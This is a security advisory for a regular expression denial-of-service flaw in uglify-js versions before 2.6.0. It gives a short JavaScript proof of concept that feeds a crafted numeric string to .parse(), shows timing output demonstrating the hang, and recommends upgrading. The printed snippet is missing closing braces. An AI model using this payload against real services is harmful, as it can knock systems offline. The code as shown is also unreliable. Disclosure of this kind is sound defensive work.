Regular Expression Denial of Service

Module: uglify-js

Published: October 24th, 2015

Reported by: Adam Baldwin



Vulnerable: <2.6.0
Patched: >=2.6.0


uglify-js is vulnerable to regular expression denial of service (ReDoS) when certain types of input is passed into .parse().

"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time." [1]

Proof of Concept

var u = require('uglify-js');
var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;

    return result;

u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");


$ time node test.js 10000
real    0m1.091s
user    0m1.047s
sys    0m0.039s

$ time node test.js 80000
real    0m6.486s
user    0m6.229s
sys    0m0.094s


Update to version 2.6.0 or later


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